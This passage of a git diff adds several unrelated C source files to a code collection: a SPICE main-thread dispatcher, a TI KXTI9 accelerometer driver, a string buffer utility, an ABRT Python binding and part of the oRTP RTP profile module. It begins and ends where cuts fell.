@@ -0,0 +1,132 @@
+#include <config.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <pthread.h>
+
+#include "red_common.h"
+#include "dispatcher.h"
+#include "main_dispatcher.h"
+#include "red_channel.h"
+#include "reds.h"
+
+/*
+ * Main Dispatcher
+ * ===============
+ *
+ * Communication channel between any non main thread and the main thread.
+ *
+ * The main thread is that from which spice_server_init is called.
+ *
+ * Messages are single sized, sent from the non-main thread to the main-thread.
+ * No acknowledge is sent back. This prevents a possible deadlock with the main
+ * thread already waiting on a response for the existing red_dispatcher used
+ * by the worker thread.
+ *
+ * All events have three functions:
+ * main_dispatcher_<event_name> - non static, public function
+ * main_dispatcher_self_<event_name> - handler for main thread
+ * main_dispatcher_handle_<event_name> - handler for callback from main thread
+ *   seperate from self because it may send an ack or do other work in the future.
+ */
+
+typedef struct {
+    Dispatcher base;
+    SpiceCoreInterface *core;
+} MainDispatcher;
+
+MainDispatcher main_dispatcher;
+
+enum {
+    MAIN_DISPATCHER_CHANNEL_EVENT = 0,
+    MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE,
+
+    MAIN_DISPATCHER_NUM_MESSAGES
+};
+
+typedef struct MainDispatcherChannelEventMessage {
+    int event;
+    SpiceChannelEventInfo *info;
+} MainDispatcherChannelEventMessage;
+
+typedef struct MainDispatcherMigrateSeamlessDstCompleteMessage {
+    RedClient *client;
+} MainDispatcherMigrateSeamlessDstCompleteMessage;
+
+/* channel_event - calls core->channel_event, must be done in main thread */
+static void main_dispatcher_self_handle_channel_event(
+                                                int event,
+                                                SpiceChannelEventInfo *info)
+{
+    main_dispatcher.core->channel_event(event, info);
+    if (event == SPICE_CHANNEL_EVENT_DISCONNECTED) {
+        free(info);
+    }
+}
+
+static void main_dispatcher_handle_channel_event(void *opaque,
+                                                 void *payload)
+{
+    MainDispatcherChannelEventMessage *channel_event = payload;
+
+    main_dispatcher_self_handle_channel_event(channel_event->event,
+                                              channel_event->info);
+}
+
+void main_dispatcher_channel_event(int event, SpiceChannelEventInfo *info)
+{
+    MainDispatcherChannelEventMessage msg;
+
+    if (pthread_self() == main_dispatcher.base.self) {
+        main_dispatcher_self_handle_channel_event(event, info);
+        return;
+    }
+    msg.event = event;
+    msg.info = info;
+    dispatcher_send_message(&main_dispatcher.base, MAIN_DISPATCHER_CHANNEL_EVENT,
+                            &msg);
+}
+
+
+static void main_dispatcher_handle_migrate_complete(void *opaque,
+                                                    void *payload)
+{
+    MainDispatcherMigrateSeamlessDstCompleteMessage *mig_complete = payload;
+
+    reds_on_client_seamless_migrate_complete(mig_complete->client);
+}
+
+void main_dispatcher_seamless_migrate_dst_complete(RedClient *client)
+{
+    MainDispatcherMigrateSeamlessDstCompleteMessage msg;
+
+    if (pthread_self() == main_dispatcher.base.self) {
+        reds_on_client_seamless_migrate_complete(client);
+        return;
+    }
+
+    msg.client = client;
+    dispatcher_send_message(&main_dispatcher.base, MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE,
+                            &msg);
+}
+static void dispatcher_handle_read(int fd, int event, void *opaque)
+{
+    Dispatcher *dispatcher = opaque;
+
+    dispatcher_handle_recv_read(dispatcher);
+}
+
+void main_dispatcher_init(SpiceCoreInterface *core)
+{
+    memset(&main_dispatcher, 0, sizeof(main_dispatcher));
+    main_dispatcher.core = core;
+    dispatcher_init(&main_dispatcher.base, MAIN_DISPATCHER_NUM_MESSAGES, &main_dispatcher.base);
+    core->watch_add(main_dispatcher.base.recv_fd, SPICE_WATCH_EVENT_READ,
+                    dispatcher_handle_read, &main_dispatcher.base);
+    dispatcher_register_handler(&main_dispatcher.base, MAIN_DISPATCHER_CHANNEL_EVENT,
+                                main_dispatcher_handle_channel_event,
+                                sizeof(MainDispatcherChannelEventMessage), 0 /* no ack */);
+    dispatcher_register_handler(&main_dispatcher.base, MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE,
+                                main_dispatcher_handle_migrate_complete,
+                                sizeof(MainDispatcherMigrateSeamlessDstCompleteMessage), 0 /* no ack */);
+}
diff --git a/pool/shard001/C/0021969_hal_acc.c b/pool/shard001/C/0021969_hal_acc.c
new file mode 100644
index 0000000000000000000000000000000000000000..124b7e0d77486322c2f5926d9eb20b5ad2b11c2c
--- /dev/null
+++ b/pool/shard001/C/0021969_hal_acc.c
@@ -0,0 +1,283 @@
+/**************************************************************************************************
+  Filename:       hal_acc.c
+  Revised:        $Date: 2013-03-26 07:47:25 -0700 (Tue, 26 Mar 2013) $
+  Revision:       $Revision: 33597 $
+
+  Description:    Driver for the Kionix KXTI9 Accelerometer.
+
+  Copyright 2012-2013 Texas Instruments Incorporated. All rights reserved.
+
+  IMPORTANT: Your use of this Software is limited to those specific rights
+  granted under the terms of a software license agreement between the user
+  who downloaded the software, his/her employer (which must be your employer)
+  and Texas Instruments Incorporated (the "License").  You may not use this
+  Software unless you agree to abide by the terms of the License. The License
+  limits your use, and you acknowledge, that the Software may not be modified,
+  copied or distributed unless embedded on a Texas Instruments microcontroller
+  or used solely and exclusively in conjunction with a Texas Instruments radio
+  frequency transceiver, which is integrated into your product.  Other than for
+  the foregoing purpose, you may not use, reproduce, copy, prepare derivative
+  works of, modify, distribute, perform, display or sell this Software and/or
+  its documentation for any purpose.
+
+  YOU FURTHER ACKNOWLEDGE AND AGREE THAT THE SOFTWARE AND DOCUMENTATION ARE
+  PROVIDED “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED,
+  INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY, TITLE,
+  NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL
+  TEXAS INSTRUMENTS OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER CONTRACT,
+  NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR OTHER
+  LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES
+  INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT, PUNITIVE
+  OR CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT
+  OF SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, OR ANY CLAIMS BY THIRD PARTIES
+  (INCLUDING BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.
+
+  Should you have any questions regarding your right to use this Software,
+  contact Texas Instruments Incorporated at www.TI.com.
+
+**************************************************************************************************/
+
+/* ------------------------------------------------------------------------------------------------
+*                                          Includes
+* ------------------------------------------------------------------------------------------------
+*/
+
+#include "hal_acc.h"
+#include "hal_sensor.h"
+#include "hal_i2c.h"
+#include "hal_board_cfg.h"
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Constants
+* ------------------------------------------------------------------------------------------------
+*/
+// Sensor I2C address
+#define HAL_KXTI9_I2C_ADDRESS          0x0F
+
+// KXTI9 register addresses
+#define ACC_REG_ADDR_XOUT_HPF_L        0x00 // R
+#define ACC_REG_ADDR_XOUT_HPF_H        0x01 // R
+#define ACC_REG_ADDR_YOUT_HPF_L        0x02 // R
+#define ACC_REG_ADDR_YOUT_HPF_H        0x03 // R
+#define ACC_REG_ADDR_ZOUT_HPF_L        0x04 // R
+#define ACC_REG_ADDR_ZOUT_HPF_H        0x05 // R
+#define ACC_REG_ADDR_XOUT_L            0x06 // R
+#define ACC_REG_ADDR_XOUT_H            0x07 // R
+#define ACC_REG_ADDR_YOUT_L            0x08 // R
+#define ACC_REG_ADDR_YOUT_H            0x09 // R
+#define ACC_REG_ADDR_ZOUT_L            0x0A // R
+#define ACC_REG_ADDR_ZOUT_H            0x0B // R
+#define ACC_REG_ADDR_DCST_RESP         0x0C // R
+#define ACC_REG_ADDR_WHO_AM_I          0x0F // R
+#define ACC_REG_ADDR_TILT_POS_CUR      0x10 // R
+#define ACC_REG_ADDR_TILT_POS_PRE      0x11 // R
+
+#define ACC_REG_ADDR_INT_SRC_REG1      0x15 // R
+#define ACC_REG_ADDR_INT_SRC_REG2      0x16 // R
+#define ACC_REG_ADDR_STATUS_REG        0x18 // R
+#define ACC_REG_ADDR_INT_REL           0x1A // R
+
+#define ACC_REG_ADDR_CTRL_REG1         0x1B // R/W
+#define ACC_REG_ADDR_CTRL_REG2         0x1C // R/W
+#define ACC_REG_ADDR_CTRL_REG3         0x1D // R/W
+
+#define ACC_REG_ADDR_INT_CTRL_REG1     0x1E // R/W
+#define ACC_REG_ADDR_INT_CTRL_REG2     0x1F // R/W
+#define ACC_REG_ADDR_INT_CTRL_REG3     0x20 // R/W
+#define ACC_REG_ADDR_DATA_CTRL_REG     0x21 // R/W
+
+#define ACC_REG_ADDR_TILT_TIMER        0x28 // R/W
+#define ACC_REG_ADDR_WUF_TIMER         0x29 // R/W
+#define ACC_REG_ADDR_TDT_TIMER         0x2B // R/W
+#define ACC_REG_ADDR_TDT_H_THRESH      0x2C // R/W
+#define ACC_REG_ADDR_TDT_L_THRESH      0x2D // R/W
+#define ACC_REG_ADDR_TDT_TAP_TIMER     0x2E // R/W
+#define ACC_REG_ADDR_TDT_TOTAL_TIMER   0x2F // R/W
+#define ACC_REG_ADDR_TDT_LATENCY_TIMER 0x30 // R/W
+#define ACC_REG_ADDR_TDT_WINDOW_TIMER  0x31 // R/W
+
+#define ACC_REG_ADDR_BUF_CTRL1         0x32 // R/W
+#define ACC_REG_ADDR_BUF_CTRL2         0x33 // R/W
+#define ACC_REG_ADDR_BUF_STATUS_REG1   0x34 // R
+#define ACC_REG_ADDR_BUF_STATUS_REG2   0x35 // R/W
+#define ACC_REG_ADDR_BUF_CLEAR         0x36 // W
+
+#define ACC_REG_ADDR_SELF_TEST         0x3A // R/W
+
+#define ACC_REG_ADDR_WUF_THRESH        0x5A // R/W
+#define ACC_REG_ADDR_TILT_ANGLE        0x5C // R/W
+#define ACC_REG_ADDR_HYST_SET          0x5F // R/W
+#define ACC_REG_ADDR_BUF_READ          0x7F // R/W
+
+// Select register valies
+#define REG_VAL_WHO_AM_I               0x08 // (data sheet says 0x04)
+
+// CTRL1 BIT MASKS
+#define ACC_REG_CTRL_PC                0x80 // Power control  '1' On    '0' Off
+#define ACC_REG_CTRL_RES               0x40 // Resolution     '1' High  '0' Low
+#define ACC_REG_CTRL_DRDYE             0x20 // Data Ready     '1' On    '0' Off
+#define ACC_REG_CTRL_GSEL_HI           0x10 // Range     '00' +/-2g    '01' +/-4g
+#define ACC_REG_CTRL_GSEL_LO           0x08 //           '10' +/-8g    '11' N/A
+#define ACC_REG_CTRL_GSEL_TDTE         0x04 // Directional Tap '1' On   '0' Off
+#define ACC_REG_CTRL_GSEL_WUFE         0x02 // Wake Up         '1' On   '0' Off
+#define ACC_REG_CTRL_GSEL_TPE          0x01 // Tilt Position   '1' On   '0' Off
+
+#ifdef ACC_RANGE_8G
+// Range +- 8G
+#define ACC_REG_CTRL_ON                ( ACC_REG_CTRL_PC | ACC_REG_CTRL_GSEL_HI)
+#define ACC_REG_CTRL_OFF               ( ACC_REG_CTRL_GSEL_HI)
+#else
+// Range +- 2G
+#define ACC_REG_CTRL_ON                ( ACC_REG_CTRL_PC )
+#define ACC_REG_CTRL_OFF               ( 0 )
+#endif
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Typedefs
+* ------------------------------------------------------------------------------------------------
+*/
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Macros
+* ------------------------------------------------------------------------------------------------
+*/
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Local Functions
+* ------------------------------------------------------------------------------------------------
+*/
+static void HalAccSelect(void);
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Local Variables
+* ------------------------------------------------------------------------------------------------
+*/
+static uint8 accSensorConfig;
+static uint8 accSensorOff;
+
+/**************************************************************************************************
+* @fn          HalAccInit
+*
+* @brief       This function initializes the HAL Accelerometer abstraction layer.
+*
+* @return      None.
+*/
+void HalAccInit(void)
+{
+  accSensorConfig = ACC_REG_CTRL_ON;
+  accSensorOff = ACC_REG_CTRL_OFF;
+}
+
+
+/**************************************************************************************************
+* @fn          HalAccRead
+*
+* @brief       Read data from the accelerometer - X, Y, Z - 3 bytes
+*
+* @return      TRUE if valid data, FALSE if not
+*/
+bool HalAccRead(uint8 *pBuf )
+{
+  uint8 x;
+  uint8 y;
+  uint8 z;
+  bool success;
+
+  // Select this sensor
+  HalAccSelect();
+
+  HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG1, &accSensorConfig, sizeof(accSensorConfig));
+
+  // Wait for measurement ready (appx. 1.45 ms)
+  ST_HAL_DELAY(180);
+
+  // Read the three registers
+  success = HalSensorReadReg( ACC_REG_ADDR_XOUT_H, &x, sizeof(x));
+  if (success)
+  {
+    success = HalSensorReadReg( ACC_REG_ADDR_YOUT_H, &y, sizeof(y));
+    if (success)
+    {
+       success = HalSensorReadReg( ACC_REG_ADDR_ZOUT_H, &z, sizeof(z));
+    }
+  }
+
+  if (success)
+  {
+    // Valid data
+    pBuf[0] = x;
+    pBuf[1] = y;
+    pBuf[2] = z;
+  }
+
+  HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG1, &accSensorOff, sizeof(accSensorOff));
+
+  return success;
+}
+
+
+/**************************************************************************************************
+ * @fn          HalAccTest
+ *
+ * @brief       Run a sensor self-test
+ *
+ * @return      TRUE if passed, FALSE if failed
+ */
+bool HalAccTest(void)
+{
+  uint8 val;
+
+  // Select this sensor on the I2C bus
+  HalAccSelect();
+
+  // Check the DCST_RESP (pattern 0x55)
+  ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_DCST_RESP, &val, 1));
+  ST_ASSERT(val==0x55);
+
+  // Check the DCST_RESP (pattern 0xAA)
+  val = 0x10;     // Sets the DCST bit
+  ST_ASSERT(HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG3, &val, 1));
+  ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_DCST_RESP, &val, 1));
+  ST_ASSERT(val==0xAA);
+
+  // Check the WHO AM I register
+  ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_WHO_AM_I, &val, 1));
+  ST_ASSERT(val==REG_VAL_WHO_AM_I);
+
+  return TRUE;
+}
+
+/* ------------------------------------------------------------------------------------------------
+*                                           Private functions
+* -------------------------------------------------------------------------------------------------
+*/
+
+/**************************************************************************************************
+* @fn          HalAccSelect
+*
+* @brief       Select the accelerometer on the I2C-bus
+*
+* @return
+*/
+static void HalAccSelect(void)
+{
+  //Set up I2C that is used to communicate with SHT21
+  HalI2CInit(HAL_KXTI9_I2C_ADDRESS,i2cClock_267KHZ);
+}
+
+/*  Conversion algorithm for X, Y, Z
+ *  ================================
+ *
+float calcAccel(int8 rawX)
+{
+    float v;
+
+    //-- calculate acceleration, unit G, range -2, +2
+    v = (rawX * 1.0) / (256/4);
+
+    return v;
+}
+*/
+
+/*********************************************************************
+*********************************************************************/
diff --git a/pool/shard001/C/0021976_buffer.c b/pool/shard001/C/0021976_buffer.c
new file mode 100644
index 0000000000000000000000000000000000000000..2bff360428365ac2859539e35cdf06f27ca206bd
--- /dev/null
+++ b/pool/shard001/C/0021976_buffer.c
@@ -0,0 +1,117 @@
+/*
+ *  Copyright © 2006,2007,2008 Pierre Habouzit
+ *
+ *  Redistribution and use in source and binary forms, with or without
+ *  modification, are permitted provided that the following conditions
+ *  are met:
+ *
+ *  1. Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *  2. Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *  3. The names of its contributors may not be used to endorse or promote
+ *     products derived from this software without specific prior written
+ *     permission.
+ *
+ *  THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS ``AS IS'' AND ANY EXPRESS
+ *  OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ *  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ *  DISCLAIMED.  IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
+ *  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ *  OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ *  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ *  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+ *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ *  POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "common/buffer.h"
+
+#include <sysexits.h>
+#include <stdio.h>
+
+char buffer_slop[1];
+
+void
+buffer_ensure(buffer_t *buf, int newlen)
+{
+    if (newlen < 0)
+        exit(EX_SOFTWARE);
+
+    if (newlen < buf->size)
+        return;
+
+    if (newlen < buf->offs + buf->size && buf->offs > buf->size / 4)
+    {
+        /* Data fits in the current area, shift it left */
+        memmove(buf->s - buf->offs, buf->s, buf->len + 1);
+        buf->s    -= buf->offs;
+        buf->size += buf->offs;
+        buf->offs  = 0;
+        return;
+    }
+
+    buf->size = p_alloc_nr(buf->size + buf->offs);
+    if (buf->size < newlen + 1)
+        buf->size = newlen + 1;
+    if (buf->alloced && !buf->offs)
+        p_realloc(&buf->s, buf->size);
+    else
+    {
+        char *new_area = xmalloc(buf->size);
+        memcpy(new_area, buf->s, buf->len + 1);
+        if (buf->alloced)
+            free(buf->s - buf->offs);
+        buf->alloced = true;
+        buf->s = new_area;
+        buf->offs = 0;
+    }
+}
+
+void
+buffer_addvf(buffer_t *buf, const char *fmt, va_list args)
+{
+    int len;
+    va_list ap;
+
+    va_copy(ap, args);
+    buffer_ensure(buf, BUFSIZ);
+
+    len = vsnprintf(buf->s + buf->len, buf->size - buf->len, fmt, args);
+    if (unlikely(len < 0))
+        return;
+    if (len >= buf->size - buf->len)
+    {
+        buffer_ensure(buf, len);
+        vsnprintf(buf->s + buf->len, buf->size - buf->len, fmt, ap);
+    }
+    buf->len += len;
+    buf->s[buf->len] = '\0';
+}
+
+void
+buffer_addf(buffer_t *buf, const char *fmt, ...)
+{
+    va_list args;
+    va_start(args, fmt);
+    buffer_addvf(buf, fmt, args);
+    va_end(args);
+}
+
+/** Detach the data from a buffer.
+ * \param Buffer from which detach.
+ * \return The data.
+ */
+char *
+buffer_detach(buffer_t *buf)
+{
+    char *res = buf->s;
+    if (!buf->alloced)
+        res = a_strdup(buf->s);
+    buffer_init(buf);
+    return res;
+}
+
+// vim: filetype=c:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80
diff --git a/pool/shard001/C/0021979_problem_data.c b/pool/shard001/C/0021979_problem_data.c
new file mode 100644
index 0000000000000000000000000000000000000000..f72617fbdefa39316a7b6fe7f8dd10bdab3d41b9
--- /dev/null
+++ b/pool/shard001/C/0021979_problem_data.c
@@ -0,0 +1,152 @@
+/*
+    Copyright (C) 2010  Abrt team.
+    Copyright (C) 2010  RedHat inc.
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+*/
+#include <Python.h>
+#include <structmember.h>
+
+#include <errno.h>
+#include "common.h"
+
+static void
+p_problem_data_dealloc(PyObject *pself)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    problem_data_free(self->cd);
+    self->cd = NULL;
+    Py_TYPE(self)->tp_free(pself);
+}
+
+static PyObject *
+p_problem_data_new(PyTypeObject *type, PyObject *args, PyObject *kwds)
+{
+    p_problem_data *self = (p_problem_data *)type->tp_alloc(type, 0);
+    if (self)
+        self->cd = problem_data_new();
+    return (PyObject *)self;
+}
+
+static PyObject *p_problem_data_add(PyObject *pself, PyObject *args)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+
+    const char *name;
+    const char *content;
+    int flags = 0;
+    if (!PyArg_ParseTuple(args, "ss|i", &name, &content, &flags))
+    {
+        /* PyArg_ParseTuple raises the exception saying why it fails
+         * eg: TypeError: function takes exactly 2 arguments (1 given)
+         */
+        return NULL;
+    }
+    problem_data_add(self->cd, name, content, flags);
+
+    /* every function returns PyObject, to return void we need to do this */
+    Py_RETURN_NONE;
+}
+
+/* struct problem_item *problem_data_get_item_or_NULL(problem_data_t *problem_data, const char *key); */
+static PyObject *p_problem_data_get_item(PyObject *pself, PyObject *args)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    const char *key;
+    if (!PyArg_ParseTuple(args, "s", &key))
+    {
+        return NULL;
+    }
+    struct problem_item *ci = problem_data_get_item_or_NULL(self->cd, key);
+    if (ci == NULL)
+    {
+        Py_RETURN_NONE;
+    }
+    return Py_BuildValue("sI", ci->content, ci->flags);
+}
+
+/* struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data, const char *base_dir_name); */
+static PyObject *p_create_dump_dir_from_problem_data(PyObject *pself, PyObject *args)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    const char *base_dir_name = NULL;
+    if (!PyArg_ParseTuple(args, "|s", &base_dir_name))
+    {
+        return NULL;
+    }
+    p_dump_dir *new_dd = PyObject_New(p_dump_dir, &p_dump_dir_type);
+    if (!new_dd)
+        return NULL;
+    struct dump_dir *dd = create_dump_dir_from_problem_data(self->cd, base_dir_name);
+    if (!dd)
+    {
+        PyObject_Del((PyObject*)new_dd);
+        PyErr_SetString(ReportError, "Can't create the dump dir");
+        return NULL;
+    }
+    new_dd->dd = dd;
+    return (PyObject*)new_dd;
+}
+
+static PyObject *p_problem_data_add_basics(PyObject *pself, PyObject *always_null)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    problem_data_add_basics(self->cd);
+
+    Py_RETURN_NONE;
+}
+
+static PyObject *p_problem_data_add_current_process(PyObject *pself, PyObject *always_null)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    problem_data_add_current_process_data(self->cd);
+
+    Py_RETURN_NONE;
+}
+
+static PyObject *p_problem_data_send_to_abrt(PyObject *pself, PyObject *always_null)
+{
+    p_problem_data *self = (p_problem_data*)pself;
+    int result = problem_data_send_to_abrt(self->cd);
+
+    return Py_BuildValue("i", result);
+}
+
+//static PyMemberDef p_problem_data_members[] = {
+//    { NULL }
+//};
+
+static PyMethodDef p_problem_data_methods[] = {
+    /* method_name, func, flags, doc_string */
+    { "add"                 , p_problem_data_add                 , METH_VARARGS },
+    { "get"                 , p_problem_data_get_item            , METH_VARARGS },
+    { "create_dump_dir"     , p_create_dump_dir_from_problem_data, METH_VARARGS },
+    { "add_basics"          , p_problem_data_add_basics          , METH_NOARGS },
+    { "add_current_proccess", p_problem_data_add_current_process , METH_NOARGS },
+    { "send_to_abrt"        , p_problem_data_send_to_abrt        , METH_NOARGS },
+    { NULL }
+};
+
+PyTypeObject p_problem_data_type = {
+    PyVarObject_HEAD_INIT(NULL, 0)
+    .tp_name      = "report.problem_data",
+    .tp_basicsize = sizeof(p_problem_data),
+    .tp_flags     = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,
+    .tp_new       = p_problem_data_new,
+    .tp_dealloc   = p_problem_data_dealloc,
+    //.tp_init      = p_problem_data_init,
+    //.tp_members   = p_problem_data_members,
+    .tp_methods   = p_problem_data_methods,
+};
diff --git a/pool/shard001/C/0021983_rtpprofile.c b/pool/shard001/C/0021983_rtpprofile.c
new file mode 100644
index 0000000000000000000000000000000000000000..8c34b7d59bba7f304398634dd80066e793e978bc
--- /dev/null
+++ b/pool/shard001/C/0021983_rtpprofile.c
@@ -0,0 +1,231 @@
+/*
+  The oRTP library is an RTP (Realtime Transport Protocol - rfc3550) stack.
+  Copyright (C) 2001  Simon MORLAT simon.morlat@linphone.org
+
+  This library is free software; you can redistribute it and/or
+  modify it under the terms of the GNU Lesser General Public
+  License as published by the Free Software Foundation; either
+  version 2.1 of the License, or (at your option) any later version.
+
+  This library is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+  Lesser General Public License for more details.
+
+  You should have received a copy of the GNU Lesser General Public
+  License along with this library; if not, write to the Free Software
+  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+#include "ortp/ortp.h"
+
+
+int rtp_profile_get_payload_number_from_mime(RtpProfile *profile,const char *mime)
+{
+	PayloadType *pt;
+	int i;
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++)
+	{
+		pt=rtp_profile_get_payload(profile,i);
+		if (pt!=NULL)
+		{
+			if (strcasecmp(pt->mime_type,mime)==0){
+				return i;
+			}
+		}
+	}
+	return -1;
+}
+
+int rtp_profile_find_payload_number(RtpProfile*profile,const char *mime,int rate,int channels)
+{
+	int i;
+	PayloadType *pt;
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++)
+	{
+		pt=rtp_profile_get_payload(profile,i);
+		if (pt!=NULL)
+		{
+			if (strcasecmp(pt->mime_type,mime)==0 &&
+			    pt->clock_rate==rate &&
+			    (pt->channels==channels || channels<=0 || pt->channels<=0)) {
+				/*we don't look at channels if it is undefined
+				ie a negative or zero value*/
+				return i;
+			}
+		}
+	}
+	return -1;
+}
+
+int rtp_profile_get_payload_number_from_rtpmap(RtpProfile *profile,const char *rtpmap)
+{
+	int clock_rate, channels, ret;
+	char* subtype = ortp_strdup( rtpmap );
+	char* rate_str = NULL;
+	char* chan_str = NULL;
+
+	/* find the slash after the subtype */
+	rate_str = strchr(subtype, '/');
+	if (rate_str && strlen(rate_str)>1) {
+		*rate_str = 0;
+		rate_str++;
+
+		/* Look for another slash */
+		chan_str = strchr(rate_str, '/');
+		if (chan_str && strlen(chan_str)>1) {
+			*chan_str = 0;
+			chan_str++;
+		} else {
+			chan_str = NULL;
+		}
+	} else {
+		rate_str = NULL;
+	}
+
+	// Use default clock rate if none given
+	if (rate_str) clock_rate = atoi(rate_str);
+	else clock_rate = 8000;
+
+	// Use default number of channels if none given
+	if (chan_str) channels = atoi(chan_str);
+	else channels = -1;
+
+	//printf("Searching for payload %s at freq %i with %i channels\n",subtype,clock_rate,ch1annels);
+	ret=rtp_profile_find_payload_number(profile,subtype,clock_rate,channels);
+	ortp_free(subtype);
+	return ret;
+}
+
+PayloadType * rtp_profile_find_payload(RtpProfile *prof,const char *mime,int rate,int channels)
+{
+	int i;
+	i=rtp_profile_find_payload_number(prof,mime,rate,channels);
+	if (i>=0) return rtp_profile_get_payload(prof,i);
+	return NULL;
+}
+
+
+PayloadType * rtp_profile_get_payload_from_mime(RtpProfile *profile,const char *mime)
+{
+	int pt;
+	pt=rtp_profile_get_payload_number_from_mime(profile,mime);
+	if (pt==-1) return NULL;
+	else return rtp_profile_get_payload(profile,pt);
+}
+
+
+PayloadType * rtp_profile_get_payload_from_rtpmap(RtpProfile *profile, const char *rtpmap)
+{
+	int pt = rtp_profile_get_payload_number_from_rtpmap(profile,rtpmap);
+	if (pt==-1) return NULL;
+	else return rtp_profile_get_payload(profile,pt);
+}
+
+int rtp_profile_move_payload(RtpProfile *prof,int oldpos,int newpos){
+	if (oldpos<0 || oldpos>=RTP_PROFILE_MAX_PAYLOADS) {
+		ortp_error("Bad old pos index %i",oldpos);
+		return -1;
+	}
+	if (newpos<0 || newpos>=RTP_PROFILE_MAX_PAYLOADS) {
+		ortp_error("Bad new pos index %i",newpos);
+		return -1;
+	}
+	prof->payload[newpos]=prof->payload[oldpos];
+	prof->payload[oldpos]=NULL;
+	return 0;
+}
+
+RtpProfile * rtp_profile_new(const char *name)
+{
+	RtpProfile *prof=(RtpProfile*)ortp_new0(RtpProfile,1);
+	rtp_profile_set_name(prof,name);
+	return prof;
+}
+
+/**
+ *	Assign payload type number index to payload type desribed in pt for the RTP profile profile.
+ * @param profile a RTP profile
+ * @param idx the payload type number
+ * @param pt the payload type description
+ *
+**/
+void rtp_profile_set_payload(RtpProfile *prof, int idx, PayloadType *pt){
+	if (idx<0 || idx>=RTP_PROFILE_MAX_PAYLOADS) {
+		ortp_error("Bad index %i",idx);
+		return;
+	}
+	prof->payload[idx]=pt;
+}
+
+/**
+ * Initialize the profile to the empty profile (all payload type are unassigned).
+ *@param profile a RTP profile
+ *
+**/
+void rtp_profile_clear_all(RtpProfile *obj){
+	int i;
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++){
+		obj->payload[i]=0;
+	}
+}
+
+
+/**
+ * Set a name to the rtp profile. (This is not required)
+ * @param profile a rtp profile object
+ * @param nm a string
+ *
+**/
+void rtp_profile_set_name(RtpProfile *obj, const char *name){
+	if (obj->name!=NULL) ortp_free(obj->name);
+	obj->name=ortp_strdup(name);
+}
+
+/* ! payload are not cloned*/
+RtpProfile * rtp_profile_clone(RtpProfile *prof)
+{
+	int i;
+	PayloadType *pt;
+	RtpProfile *newprof=rtp_profile_new(prof->name);
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++){
+		pt=rtp_profile_get_payload(prof,i);
